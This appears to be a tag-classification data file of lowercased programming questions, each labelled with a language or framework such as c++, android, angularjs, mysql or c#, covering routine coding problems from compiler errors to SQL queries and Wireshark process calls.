gradebook.h: in member function ‘std::string gradebook::getcoursename()’: gradebook.h:23:11: error: ‘coursename’ was not declared in this scope   { return coursename; }            ^ gradebook.h: in member function ‘void gradebook::displaymessage()’: gradebook.h:26:66: error: no match for ‘operator&lt;’ (operand types are ‘std::basic_ostream&lt;char&gt;’ and ‘&lt;unresolved overloaded function type&gt;’)   { cout &lt;&lt; welcome to the gradebook for\n  &lt;&lt;getcoursename()&lt;&lt; ! &lt;endl; }                                                                   ^ gradebook.h:26:66: note: candidates are: in file included from /usr/include/c++/4.8.3/bits/stl_algobase.h:64:0                   from /usr/include/c++/4.8.3/bits/char_traits.h:39                   from /usr/include/c++/4.8.3/ios:40                   from /usr/include/c++/4.8.3/ostream:38                   from /usr/include/c++/4.8.3/iostream:39                   from grade.cpp:4: /usr/include/c++/4.8.3/bits/stl_pair.h:220:5: note: template&lt;class _t1  class _t2&gt; bool std::operator&lt;(const std::pair&lt;_t1  _t2&gt;&amp;  const std::pair&lt;_t1  _t2&gt;&amp;)      operator&lt;(const pair&lt;_t1  _t2&gt;&amp; __x  const pair&lt;_t1  _t2&gt;&amp; __y)      ^ /usr/include/c++/4.8.3/bits/stl_pair.h:220:5: note:   template argument deduction/substitution failed: in file included from grade.cpp:5:0: gradebook.h:26:67: note:   ‘std::basic_ostream&lt;char&gt;’ is not derived from ‘const std::pair&lt;_t1  _t2&gt;’   { cout &lt;&lt; welcome to the gradebook for\n  &lt;&lt;getcoursename()&lt;&lt; ! &lt;endl; }                                                                    ^ in file included from /usr/include/c++/4.8.3/bits/stl_algobase.h:67:0                   from /usr/include/c++/4.8.3/bits/char_traits.h:39                   from /usr/include/c++/4.8.3/ios:40                   from /usr/include/c++/4.8.3/ostream:38                   from /usr/include/c++/4.8.3/iostream:39                   from grade.cpp:4: /usr/include/c++/4.8.3/bits/stl_iterator.h:297:5: note: template&lt;class _iterator&gt; bool std::operator&lt;(const std::reverse_iterator&lt;_iterator&gt;&amp;  const std::reverse_iterator&lt;_iterator&gt;&amp;)      operator&lt;(const reverse_iterator&lt;_iterator&gt;&amp; __x       ^ /usr/include/c++/4.8.3/bits/stl_iterator.h:297:5: note:   template argument deduction/substitution failed: in file included from grade.cpp:5:0: gradebook.h:26:67: note:   ‘std::basic_ostream&lt;char&gt;’ is not derived from ‘const std::reverse_iterator&lt;_iterator&gt;’   { cout &lt;&lt; welcome to the gradebook for\n  &lt;&lt;getcoursename()&lt;&lt; ! &lt;endl; }                                                                    ^ in file included from /usr/include/c++/4.8.3/bits/stl_algobase.h:67:0                   from /usr/include/c++/4.8.3/bits/char_traits.h:39                   from /usr/include/c++/4.8.3/ios:40                   from /usr/include/c++/4.8.3/ostream:38                   from /usr/include/c++/4.8.3/iostream:39                   from grade.cpp:4: /usr/include/c++/4.8.3/bits/stl_iterator.h:347:5: note: template&lt;class _iteratorl  class _iteratorr&gt; bool std::operator&lt;(const std::reverse_iterator&lt;_iterator&gt;&amp;  const std::reverse_iterator&lt;_iteratorr&gt;&amp;)      operator&lt;(const reverse_iterator&lt;_iteratorl&gt;&amp; __x       ^ /usr/include/c++/4.8.3/bits/stl_iterator.h:347:5: note:   template argument deduction/substitution failed: in file included from grade.cpp:5:0: gradebook.h:26:67: note:   ‘std::basic_ostream&lt;char&gt;’ is not derived from ‘const std::reverse_iterator&lt;_iterator&gt;’   { cout &lt;&lt; welcome to the gradebook for\n  &lt;&lt;getcoursename()&lt;&lt; ! &lt;endl; }                                                                    ^ in file included from /usr/include/c++/4.8.3/string:52:0                   from /usr/include/c++/4.8.3/bits/locale_classes.h:40                   from /usr/include/c++/4.8.3/bits/ios_base.h:41                   from /usr/include/c++/4.8.3/ios:42                   from /usr/include/c++/4.8.3/ostream:38                   from /usr/include/c++/4.8.3/iostream:39                   from grade.cpp:4: /usr/include/c++/4.8.3/bits/basic_string.h:2569:5: note: template&lt;class _chart  class _traits  class _alloc&gt; bool std::operator&lt;(const std::basic_string&lt;_chart  _traits  _alloc&gt;&amp;  const std::basic_string&lt;_chart  _traits  _alloc&gt;&amp;)      operator&lt;(const basic_string&lt;_chart  _traits  _alloc&gt;&amp; __lhs       ^ /usr/include/c++/4.8.3/bits/basic_string.h:2569:5: note:   template argument deduction/substitution failed: in file included from grade.cpp:5:0: gradebook.h:26:67: note:   ‘std::basic_ostream&lt;char&gt;’ is not derived from ‘const std::basic_string&lt;_chart  _traits  _alloc&gt;’   { cout &lt;&lt; welcome to the gradebook for\n  &lt;&lt;getcoursename()&lt;&lt; ! &lt;endl; }                                                                    ^ in file included from /usr/include/c++/4.8.3/string:52:0                   from /usr/include/c++/4.8.3/bits/locale_classes.h:40                   from /usr/include/c++/4.8.3/bits/ios_base.h:41                   from /usr/include/c++/4.8.3/ios:42                   from /usr/include/c++/4.8.3/ostream:38                   from /usr/include/c++/4.8.3/iostream:39                   from grade.cpp:4: /usr/include/c++/4.8.3/bits/basic_string.h:2581:5: note: template&lt;class _chart  class _traits  class _alloc&gt; bool std::operator&lt;(const std::basic_string&lt;_chart  _traits  _alloc&gt;&amp;  const _chart*)      operator&lt;(const basic_string&lt;_chart  _traits  _alloc&gt;&amp; __lhs       ^ /usr/include/c++/4.8.3/bits/basic_string.h:2581:5: note:   template argument deduction/substitution failed: in file included from grade.cpp:5:0: gradebook.h:26:67: note:   ‘std::basic_ostream&lt;char&gt;’ is not derived from ‘const std::basic_string&lt;_chart  _traits  _alloc&gt;’   { cout &lt;&lt; welcome to the gradebook for\n  &lt;&lt;getcoursename()&lt;&lt; ! &lt;endl; }                                                                    ^ in file included from /usr/include/c++/4.8.3/string:52:0                   from /usr/include/c++/4.8.3/bits/locale_classes.h:40                   from /usr/include/c++/4.8.3/bits/ios_base.h:41                   from /usr/include/c++/4.8.3/ios:42                   from /usr/include/c++/4.8.3/ostream:38                   from /usr/include/c++/4.8.3/iostream:39                   from grade.cpp:4: /usr/include/c++/4.8.3/bits/basic_string.h:2593:5: note: template&lt;class _chart  class _traits  class _alloc&gt; bool std::operator&lt;(const _chart*  const std::basic_string&lt;_chart  _traits  _alloc&gt;&amp;)      operator&lt;(const _chart* __lhs       ^ /usr/include/c++/4.8.3/bits/basic_string.h:2593:5: note:   template argument deduction/substitution failed: in file included from grade.cpp:5:0: gradebook.h:26:67: note:   mismatched types ‘const _chart*’ and ‘std::basic_ostream&lt;char&gt;’   { cout &lt;&lt; welcome to the gradebook for\n  &lt;&lt;getcoursename()&lt;&lt; ! &lt;endl; } </code></pre>,c++
i can t adjust the scale of my vectors in my vector field in python  i have a <code>matrix of vector</code> quantities of which i want to plot the vector field.   <pre><code>plt.figure(1)  dzaxis  drperpaxis = numpy.gradient(bzdotbperp_array_3)  plt.quiver(rperpaxis  zaxis  bperp_array_3  bz_array_3) plt.show() </code></pre>   where <code>rperpaxis</code> is a column vector linear space from 0 to 0.15 and <code>zaxis</code> is a row vector linear space from 0 to 0.15.  <code>bperp_array_3</code> and <code>bz_array_3</code> are both functions of <code>rperpaxis</code> and <code>zaxis</code> which make square matrices of values.  no matter what i do  no matter what i divide bperp_array_3 and bz_array_3 by  no matter what i set   <pre><code>    scale = </code></pre>   to  i get insanely long vectors.    <a href= https://i.stack.imgur.com/7ylpd.png  rel= nofollow noreferrer >here she is.</a>    i just want a way to constrain each vector to a cell where it can have a maximum value  but it can t overlap other vectors.  how would i do that,python
how to keep javascript global variable when redirect to another page  is it possible to keep my javascript global variables after redirected to anothor page(<strong>in the same domain</strong>)     i know i can use html5 localstorage/sessionstorage or store it on the server session state(and pull it later) . but when using complex or more then a few global variable  i wonder if there another quick way to use...    for example:   <pre><code>&lt;html&gt;    &lt;head&gt;       &lt;title&gt; first page &lt;/title&gt;        &lt;script type= text/javascript &gt;           var myglobal= this is my global variable ;             ...       &lt;/script&gt;    &lt;/head&gt;    &lt;body&gt;         ...        &lt;a href= secondpage.htm  ..&gt; to the second page&lt;/a&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>   and in the secondpage.htm:   <pre><code>&lt;html&gt;    &lt;head&gt;       &lt;title&gt; second page &lt;/title&gt;        &lt;script type= text/javascript &gt;           alert(myglobal);    //i want it to be :   this is my global variable ;             ...       &lt;/script&gt;    &lt;/head&gt;    &lt;body&gt;        ...    &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
android:attendance idea  i am doing an attendance take up proj. i have all my sudent names in listview.now i want  an idea how can i mark a student present or absent     if i use check boxes either i am able to retrive all rows or i am able to retrive only checked boxes rows.i wanted to do that if the check box for that row is clicked it should go to if loop and retrieve row data over there and  i will manually write there present and it gets stored in database  or it should go to else loop and manually i will write absent.but i dont think its possible  to use if else  like i mentioned.    can any one please guide me how can i mark a student present or absent,android
passing a value with pendingintent  i am using pendingintent.  i need to pass a value.  intent uses putextra. is there an equivalent for pendingintent   if yes  please provide sample example.  thanks in advance.    i am using:   <pre><code>pendingintent contentintent = pendingintent.getactivity(context  0  new intent(context  mainactivity.class)  0); </code></pre>,android
detecting window focus the angular way   is there a good angular way to detect window focus   i am using html5 notifications and i would like to only fire if the window is out of focus.    thanks!,angularjs
find columns whose values are distinct in two tables  i have two tables having same columns.i want to get those columns whose values are distinct in both tables.how can i achieve this please help.iam stuck.    imageid is primary key in both tables.its not necessary that imageids present in first table should be present on second table.    first table:   <pre><code>imageid  name         id 1        priya        001 2        neha         002 3        divya        003 4        santo        004 </code></pre>   second table:   <pre><code>imageid  name         id 1        priy         001 2        neha         003 4        santo        004 </code></pre>   result   <pre><code>imageid firstdata  seconddata  columnname 1        priy         priya     name 2        002          003        id </code></pre>,sql
issue with  float: left  element with bordered block level element below <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en           http://www.w3.org/tr/html4/loose.dtd &gt; &lt;html lang= en &gt; &lt;head&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1 &gt;     &lt;title&gt; float: left  element &lt;/title&gt;     &lt;style type= text/css  media= screen &gt;     body {         margin: 20px;         padding: 0;         font: normal 85% arial  helvetica  sans-serif;         color: #000;         background-color: #fff;      }      .containingbox {         width: 400px;         height: 400px;         border: 1px solid #000;      }        .floatleft {         float: left;         width: 100px;         height: 100px;         border: 2px solid #f63;      }       p.highlight { border: 5px solid #aaa; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt;    &lt;div class= containingbox &gt;       &lt;div class= floatleft &gt;&lt;/div&gt;       &lt;p class= highlight &gt;lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi.&lt;/p&gt;   &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   question:    why this block content with border:<code>&lt;p class= highlight &gt;lorem ipsum...&lt;/p&gt;</code> not show at the same level as <code>&lt;div class= floatleft &gt;&lt;/div&gt;</code>  when i use firebug to check it(<code>&lt;p class= highlight &gt;lorem ipsum...&lt;/p&gt;</code>)  seems there is <code>margin-top</code> and <code>margin-bottom</code> set for it  but there is no <code>margin</code> codes in css. so why,css
mysql: calculate average post for every hour in each day  i trying to calculate the average post made for every hour for each day and i have to do this for 113 months. inside the post table have this attribute timeposted  dateposted and text. i also need to join two table post and thread because i only want to get category id number 3.    so far this is query that i have done.   <pre><code>select datepost as daytime    hour(timepost) as thehour     count(text) as thecount   from post  thread   where date(post.datepost) between  2010-05-01  and  2010-05-31    and post.threadid = thread.threadid    and thread.catid = 3   group by datepost  thehour </code></pre>   the above subquery return me this:   <pre><code>daytime       thehour    thecount  2010-05-01    0          3   2010-05-01    1          16   2010-05-01    2          2   2010-05-01    4          1   2010-05-01    7          1  </code></pre>   i try to do the avg but the issue is that it return me the same number as thecount. example thecount is 3 then the avg return me 3.00000    so i trying to get this outcome:   <pre><code>daytime       thehour    thecount      avg  2010-05-01    0          3            #  2010-05-01    1          16           #  2010-05-01    2          2            #  2010-05-01    4          1            #  2010-05-01    7          1            # </code></pre>,mysql
can produce angular js output  i am doing a simple hello world example straight out of book but somehow i cant get it correct. not sure what is going on here.    html code  angular.js is the latest 1.3.x downloaded from angularjs site   <pre><code>&lt;!doctype html&gt;      &lt;html ng-app&gt;     &lt;head&gt;     &lt;script src= angular.js &gt;&lt;/script&gt;     &lt;script src= controller.js &gt;&lt;/script&gt;     &lt;/head&gt;     &lt;body&gt;     &lt;div ng-controller= hellocontroller &gt;       &lt;p&gt;{{greeting.text}}  world&lt;/p&gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>   controller.js   <pre><code>function hellocontroller($scope){   $scope.greeting={text: hello }; } </code></pre>   why can i get hello world in the output when i load the html page. instead i see this    {{greeting.text}}  world    what is going on,angularjs
coregraphics layers vs core animation layers  i have confusion regarding that coregraphics layers are same as core animation layers,ios
best way to get querystrings or which one is faster   there are several way to get querystrings in asp.net    which one of them is beter and faster      i want to get 4 querystring from my url  is it good to use    <pre><code>request.querystring[ name ]; </code></pre>   or   <pre><code>    httprequest q = request;     namevaluecollection n = q.querystring; </code></pre>        thank you,asp.net
to multiplications using parsefloat jquery  <strong>adding additional cost to output</strong>    this is taking the total shipping costs  splitting the individual packages and outputting a total of the combined packages.  which works but i would like to (in addition too) add 20% to the output.   <pre><code> var adjusted_total = parsefloat(rate[1]) * custom_packages; </code></pre>,jquery
what is cin>>str+1 in c++ string  <pre><code>char str[80]; cin &gt;&gt; str+1; cout &lt;&lt; str+1; </code></pre>   what does this +1 mean  how does it work  any help would be appreciated. thanks for reply.,c++
add rows into a mysql table from a .sql file  i have a question on how i can insert a .sql file into a mysql table which already contains lot of data      <strong>my .sql file looks like (1200 rows) :</strong>   <pre><code>-- -- descriptif plan comptable syscohada (utf-8) --  insert into llx_accounting_system (rowid  pcg_version  fk_pays  label  active) values (10  syscohada   49   plan comptable ouest-africain   1);  insert into llx_accounting_account (rowid  fk_pcg_version  pcg_type  pcg_subtype  account_number  account_parent  label  active) values (15000  syscohada   capitaux   xxxxxx   1  0  capital   1 ); insert into llx_accounting_account (rowid  fk_pcg_version  pcg_type  pcg_subtype  account_number  account_parent  label  active) values (15001  syscohada   capitaux   xxxxxx   101  15000  capital social   1 ); insert into llx_accounting_account (rowid  fk_pcg_version  pcg_type  pcg_subtype  account_number  account_parent  label  active) values (15002  syscohada   capitaux   xxxxxx   1011  15001  capital souscrit  non appele); </code></pre>   <strong>my mysql table looks like :</strong>   <pre><code>mysql&gt; describe llx_accounting_account ; +----------------+--------------+------+-----+-------------------+-----------------------------+ | field          | type         | null | key | default           | extra                       | +----------------+--------------+------+-----+-------------------+-----------------------------+ | rowid          | int(11)      | no   | pri | null              | auto_increment              | | entity         | int(11)      | no   |     | 1                 |                             | | datec          | datetime     | yes  |     | null              |                             | | tms            | timestamp    | no   |     | current_timestamp | on update current_timestamp | | fk_pcg_version | varchar(32)  | no   | mul | null              |                             | | pcg_type       | varchar(20)  | no   |     | null              |                             | | pcg_subtype    | varchar(20)  | no   |     | null              |                             | | account_number | varchar(32)  | no   | mul | null              |                             | | account_parent | varchar(32)  | yes  |     | null              |                             | | label          | varchar(255) | no   |     | null              |                             | | fk_user_author | int(11)      | yes  |     | null              |                             | | fk_user_modif  | int(11)      | yes  |     | null              |                             | | active         | tinyint(4)   | no   |     | 1                 |                             | +----------------+--------------+------+-----+-------------------+-----------------------------+ 13 rows in set (0.00 sec) </code></pre>   my mysql table is not empty. there is already data and i want to add my .sql file after my data table.    i didn t execute this command because i think it s false :   <pre><code>load data local infile  data_3.9.sql  into table llx_accounting_account fields terminated by  ;  lines terminated by  \n  </code></pre>   do you have the solution      thank you :)   <h2>----------------------------------------------------------------------------------</h2>   <strong>solution :</strong>    with comments by @rakeshkumar and @paulf  i found a way to solve my problem :    1) i deleted all rows where <code>fk_pcg_version =  syscohada </code>:   <pre><code>delete from llx_accounting_account where fk_pcg_version =  syscohada  ; </code></pre>   2) i imported the .sql file :   <pre><code>mysql -u root -p****** dolibarr &lt; data_3.9.sql </code></pre>   3) i modified one information because <code>account_number</code> was 1 instead of 10 where <code>rowid = 15000</code> :   <pre><code>update llx_accounting_account set account_number = 10  where rowid=15000 ; </code></pre>   seems good :)     thank you ;),mysql
error using nested masterpages while posting forms  after some tough error research i ve found the reason of a problem of mine i don t understand. i have a page with form controls that resides inside a nested masterpage. whenever i try to run the form i run into this error:   <pre><code>the state information is invalid for this page and might be corrupted. [formatexception: the input is not a valid base-64 string as it contains a non-base 64 character  more than two padding characters  or an illegal character among the padding characters. ] </code></pre>   if i choose to run the form as a clean page without any reference to the masterpage it posts perfect.    i have tried the following solutions with no luck:   <ul> <li>i ve added a validationkey in the web.config </li> <li>i ve set the enableeventvalidation= true   enableviewstate= true  and left the enableviewstatemac= true  as stated in the msdn documentation </li> <li>i ve added a viewstateencryptionmode= true  </li> <li>i ve also added a maxpagestatefieldlength= 400  in the web.config.</li> </ul>   do you guys have an explanation to why this error occurs and some advice on how to solve it,asp.net
android bumping/file sharing technology  there are a number of applications on the market that allow android phones to exchange files or some other information. those applications usually rely on two android devices being in close proximity and detecting each other s presence. i do not think that they use bluetooth communication to send signal to each other since bluetooth can be off and it would take some time to activate it so bumping would take longer than it does in those applications. thus those apps have to use some other sensors that most of android phones are equipped with.    do you have any idea of what those sensors are and how the phones become aware of each other s presence     thank you in advance,android
rails file_field is not returning original_filename  i have the below form in my view:   <pre><code>&lt;% form_for(@filedata  :url=&gt;{ :controller=&gt; filedatas   :action=&gt; create }  :multipart =&gt; true) do |f| %&gt;    &lt;label&gt;select file&lt;/label&gt; : &lt;%#= f.file_field :file %&gt; &lt;%= file_field_tag  uploadedfile  %&gt;   &lt;%= f.submit  upload  %&gt; &lt;/p&gt;  &lt;% end %&gt; </code></pre>   i ve commented out the f.file_field but i have tested on both and both give me the same problem.  they just return the name of the file and i get a string.  methods like .path and .original_filename cause an error.    in my list of parameters i get:  uploadedfile => test     (the name of my file is test.txt)    anyone have any suggestions,ruby-on-rails
garena working (tunnels or something else)  i want to work on lan gaming software called garena. i dont know what is going behind the scenes of garena. may be a simple tunnel is used to assign 192.168.1.x ip address.  can anyone suggest me any good how-to or whatever  which can help me to work on it.,c#
ios reroute sounds to earpiece  i have an app for ios in xcode. i have a music player that plays songs from the ipod library in the app.  what i want to do is reroute the ipod music to the earpiece. basically i first want to know if this is possible. also i want to know how to do it  but i know that this website is not a code writing website so if i can just get some tips on how to do it that would be great. thanks!,ios
can push notification be sent without an alert for certain actions   i know you can register to have alerts or not when you call the push notification api. however my problem is that i want a certain class of actions to have an alert notification while no alert notification for other class of action      so for example  an alert should be shown when we send the notification  heart rate dropping alert! . but no alert should be shown when we send the notification  downloading updated patient data   the app should just take the notification as an instruction to being download if it is launched. and simply ignore it if it is not launched.    how to implement this,iphone
convertpoint:  i m learning objective-c and cocoa (in fits and starts when time allows) so be gentle ok.    a example app has the following lines:   <pre><code>nspoint down = [mouseevent locationinwindow]; //...some other stuff nspoint p = [self convertpoint:down fromview:nil];  </code></pre>   it then proceeds to use p for a drag and drop operation (using the pasteboard). but  what i don t get is this is all in one view  why not just use <code>down</code>  why do a <code>convertpoint:</code>   or have i missed something basic     thanks!,objective-c
file download on button click   so im new to android development and i have been going about everything in a trial and error manner with a lot of searching a long the way. my question is: i have a button that i want to link to a exert of code that will start a download from a particular site. my code is as follows.   <pre><code>    public void download(view button) {     public void downloadfromurl(){         try {              url url = new url( www.generic-site.html );             httpurlconnection c = (httpurlconnection)              url.openconnection();             c.setrequestmethod( get );             c.setdooutput(true);             c.connect();              string path = environment.getexternalstoragedirectory()                 + /download/ ;             log.v( portfoliomanger    path:  +path);             file file = new file(path);             file.mkdirs();             fileoutputstream fos = new fileoutputstream( site.html );              inputstream is = c.getinputstream();              byte[] buffer = new byte[702];             int len1 = 0;             while ((len1 = is.read(buffer)) != -1) {                 fos.write(buffer  0  len1);             }             fos.close();             is.close();         } catch (ioexception e) {             log.d( portfoliomanger    error:  +e);         }         log.v( portfoliomanger    check:  );     } </code></pre>   what i was attempting to do was use the  public void download(view button)  command to launch the download  however im getting the errors:    <pre><code>multiple markers at this line - syntax error  insert  enumbody  to complete blockstatements - syntax error on token  void   @ expected - syntax error  insert  enum identifier  to complete   enumheadername  error under  public void downloadfromurl() </code></pre>   i know its probably a silly question but can anyone shed some light,android
set modelvalue as a different date format to the viewvalue in angular directive  i have a datepicker within a form.  i would like to set one format for the view but apply a different format to the model value (which is sent to an api).  in simple terms i want the user to see  dd/mm/yyyy  but need the date to be sent in iso format.      this is my directive:   <pre><code>app.directive( standarddatepicker   function($timeout) { return{     restrict:  a         require :  ^ngmodel       link: function(scope  element  attrs  ngmodel  ngmodelctrl){             element.datepicker({                 format:  dd/mm/yyyy                   autoclose: true              }).on( changedate   function(e) {                 ngmodel.$viewvalue = e.date;                     ngmodel.$render();             });     }   } }); </code></pre>   is there an easy way to achieve this,angularjs
how to get the share sheet like dropbox  can someone tell me how to get a document share sheet like dropbox has     i tried uidocumentinteractioncontroller and uiactivitycontroller but don t know how to add the  open-in...  button.    it looks like this: <img src= https://i.stack.imgur.com/ar4ui.png  alt= dropbox document share sheet options >,ios
bypassing a $watch function in angularjs version 1.x  i have a complex situation that i m hoping to get some help with. we are developing a large-scale application using angularjs 1.x for the front-end. i have a requirement to implement $dirty checking for forms when the user tries to exit the screen (on any page of the application). i wrote the following function in a directive that works well.   <pre><code>        function unsavedchanges($window  $uibmodal) {         var directiveobject = {             restrict:  a               link: linkerfn         };          return directiveobject;          function linkerfn(scope  element  attrs) {             var formname = attrs.name;              $window.onbeforeunload = function(event) {                 if (scope[formname].$dirty) {                     return  are you sure you want to leave this page  you may have unsaved changes. ;                 }             };              scope.$on( $statechangestart   function(event) {                 if (scope[formname].$dirty &amp;&amp; !scope[formname].$submitted) {                     if (!confirm( are you sure you want to leave this page  you may have unsaved changes. )) {                         event.preventdefault();                     }                 }             });         }     } </code></pre>   now there is a requirement to also implement dirty checking for any array changes that occur as a result of changes in the ui. for example  there is a directive that allows the user to add multiple items selected from a modal. on confirm (in the modal)  these items are added and rendered as a list in the ui. each item can then be  marked for deletion . actual deletion occurs on form submission (save). the form should be dirty if any defined arrays are changed in any way (length  properties  etc.)    my solution was to use the already defined $watch function for each array  and set the form to $dirty = true  if any array changed. this also works as intended.    the problem is  when the user saves and submits the form  the resulting response contains the updated json data model (with any deleted array entries now removed). the updated data model is then re-assigned to the angularjs data object which updates the ui. the ui updates cause the $watch functions to be triggered rendering the form dirty again. this is problematic since the user just saved and the form should be pristine. the ajax call sample is below:   <pre><code>obj.save(dataobj).then(function(res) {           var status = res.server_response.status;            if (status &gt;= 200 &amp;&amp; status &lt;= 210) {        // the line below triggers the defined $watch functions               vm.generaltrialdetailsobj = res;               ...                 ...           //make sure $watch functions have completed before this is called.               $scope.general_trial_form.$setpristine();             }       }) </code></pre>   i tried setting the form to pristine in the form submission save function  as part of the ajax success callback. however it seems that the $watch functions don t necessarily occur before i m setting the form to pristine. some can occur before and some after. so setting the form to pristine doesn t resolve the issue.     the only solution i could come up with was to refresh the page (we use angular ui-router) after save. this works but is unacceptable to the client  as a solution :)    is there a way to make sure all $watch functions always complete before before i set the form to pristine  i can t come up with another solution just yet.    thanks to anyone who can provide some guidance.,angularjs
editable textfield in popover not working  i m working on an mac app that uses popover windows for additional functionality. i have a popover that opens where i need the user to input some text and i can t seem to get the field to be editable. under the attributes inspector in xcode the behavior is set to be editable and the other options match settings from a similar application that has a text field in a new window that is editable. what am i missing    <pre><code>- (ibaction)datatransferbutton:(id)sender {  [[self datatransferpopover] showrelativetorect:[sender bounds] ofview:sender preferrededge:nsmaxxedge];  _employeecheckbox.enabled=no;  [datatransferpopover becomefirstresponder]; useraccounttextfield.editable=yes; } </code></pre>,objective-c
scroll position at the same after another page loaded  i want to get scroll position at same when the user clicks any menu of navigation bar. when menu is clicked the window is refreshed! i think this is different than window refresh.    how could i get the scroll position at same when window is refreshed    <hr>   my site implement is likely to this <a href= http://jsfiddle.net/jukbp/1/  rel= nofollow >http://jsfiddle.net/jukbp/1/</a> and my scroll position is at something mid that is green div <code>hidden</code> condition,jquery
why does a float always end as .0000.. after dividing  <pre><code>#include&lt;stdio.h&gt; void main(){   int a;float b;   scanf( %d  &amp;a);   b=a/4;   printf( %f  b); } </code></pre>   for example  9 divided by 4 should print 2.25 but instead it prints 2.0000. why,c
find_in_set return different value  i have a table with this declaration:   <pre><code>create table foobar (   id int(11) not null auto_increment    dow set( q   w   e   r   t   y    u ) not null    primary key (`id`) ) engine=innodb default; </code></pre>   with those values inside:   <pre><code> id    dow  1    1 3 6   1    2 4 7  </code></pre>   those query returns different values.   <pre><code>select dow  find_in_set( 4   dow) from (select * from pippo.pluto) as b;  select dow  find_in_set( 4   dow) from pippo.pluto as b; </code></pre>   the first query returns those results:   <pre><code> 1 3 6    0   2 4 7    2  </code></pre>   the second query returns those results:   <pre><code> 1 3 6    0   2 4 7    4  </code></pre>   why     tested against 5.6 and 5.7 mysql version.    edit:    this behaviour remains the same if i use the mysql views.   <pre><code>create view selectinner as select dow  find_in_set( r   dow) from (select * from pippo.foobar) as b; create view selectdirect as select dow  find_in_set( r   dow) from pippo.foobar as b; </code></pre>,mysql
iphone app contract-entering bank details  i have just got registered with iphone dev program. in itunes connect i only get free apps contract. how can i enter bank details before uploading any app     thanks,iphone
ui designer for editing web.config in asp.net  i need rich ui designer for editing the web.config for asp.net application. from the designer we can edit the tags in config files    it may be any windows application going to edit my config files.,asp.net
i want regular expression for age field in javascript <pre><code> var text6 = document.getelementbyid( text6 ).value;     var regularexpression1 = /^[1-9] [0-9]{1}$|^100$/;    if (!text6.match(regularexpression1)){           alert( please enter valid age );           return false;       } </code></pre>   this code is not working properly,javascript
uiview is shown displaced at the top of the screen  ok  hopefully a stupid question from a newbie...    i have an app that used to display fine base on xib files created in ui builder.  the .xib still displays fine using the simulator direct from the uib but when compiled and run  the view is displaced by 40 or 50 pixels (about 1/3 the width of a nav bar) so that i get a bar of white space at the bottom and half my title text hidden on the nav bar at the top.    i have tried fiddling with various parameters for the view and main window (eg layout wants full screen and resize view from nib) but nothing seems to make any difference.    i tried upgrading xcode from 3 to 4 but no difference.    any pointers gratefully received...,iphone
converting nsdata to nsurl nil string parameter  i am trying to convert nsdata to nsurl  and i found this method on the internet:   <pre><code>nsstring *urlstring = [[nsstring alloc] initwithdata:mydata encoding:nsutf8stringencoding];     nsurl *url = [[nsurl alloc] initwithstring:urlstring];     [session sendresourceaturl:url withname:@ resource  topeer:peerid withcompletionhandler:nil]; </code></pre>   seems all right to me  but the app crashes at the second line and gives the error:   <pre><code>terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *** -[nsurl initwithstring:relativetourl:]: nil string parameter  </code></pre>   can t get why...,ios
inheritance design review  i am build application that open wireshark services (wireshark has several services) in order to to different things on wireshark files like edit  change format  statistics etc... each option usually use different service so i want to build my classes with inheritance i was wonder if what i want to do is appropriate way or proper way:    main class wiresharkservices with the following members and method: <strong>this is the class that all the other classes should inherite from</strong>   <pre><code>public class wiresharkprocesses {     protected string _filepath; //the file path who send to wiresahrk process     protected string _capinfos;     protected string _dumpcap;     protected string _editcap;     protected string _mergecap;     protected string _rawshark;     protected string _text2pcap;     protected string _tshark;     protected string _wireshark;      public void initializeservices()     {         if (directory.exists(@ c:\program files (x86)\wireshark ))         {             _capinfos = @ c:\program files (x86)\wireshark\_capinfos.exe ;             _dumpcap = @ c:\program files (x86)\wireshark\_dumpcap.exe ;             _editcap = @ c:\program files (x86)\wireshark\editcap.exe ;             _mergecap = @ c:\program files (x86)\wireshark\_mergecap.exe ;             _rawshark = @ c:\program files (x86)\wireshark\_rawshark.exe ;             _text2pcap = @ c:\program files (x86)\wireshark\_text2pcap.exe ;             _tshark = @ c:\program files (x86)\wireshark\_tshark.exe ;             _wireshark = @ c:\program files (x86)\wireshark\_wireshark.exe ;         }         else if (directory.exists(@ c:\program files\wireshark ))         {             _capinfos = @ c:\program file)\wireshark\_capinfos.exe ;             _dumpcap = @ c:\program files\wireshark\_dumpcap.exe ;             _editcap = @ c:\program files\wireshark\editcap.exe ;             _mergecap = @ c:\program files\wireshark\_mergecap.exe ;             _rawshark = @ c:\program files\wireshark\_rawshark.exe ;             _text2pcap = @ c:\program files\wireshark\_text2pcap.exe ;             _tshark = @ c:\program files\wireshark\_tshark.exe ;             _wireshark = @ c:\program files\wireshark\_wireshark.exe ;         }     } } </code></pre>   when the application running i am check of course if wireshark installed on the machine and if not throw exception and in wireshark exist:   <pre><code>wiresharkservices wservices = new wiresharkservices(); wservices .initializeservices(); </code></pre>   and in each class it s own methods.    child class example who receive file path to convert it to other wireshark format:   <pre><code>public class editcap : wiresharkprocesses {     private string _newfilename;  public void startprocess(string filepath) {     fileinfo file = new fileinfo(filepath);     _newfilename = file.fullname.replace(file.extension   _new ) +  .pcap ;     processstartinfo editcapprocess = new processstartinfo(string.format( \ {0}\    _editcap))     {         arguments = string.format( {2}{0}{2} -f libpcap {2}{1}{2}   file.fullname  _newfilename   \  )          windowstyle = processwindowstyle.hidden          redirectstandardoutput = true          redirectstandarderror = true          createnowindow = true          useshellexecute = false          errordialog = false     };      using (process editcap = process.start(editcapprocess))     {         editcap.waitforexit();     } }  public string getnewfilename() {     return _newfilename; } </code></pre>   },c#
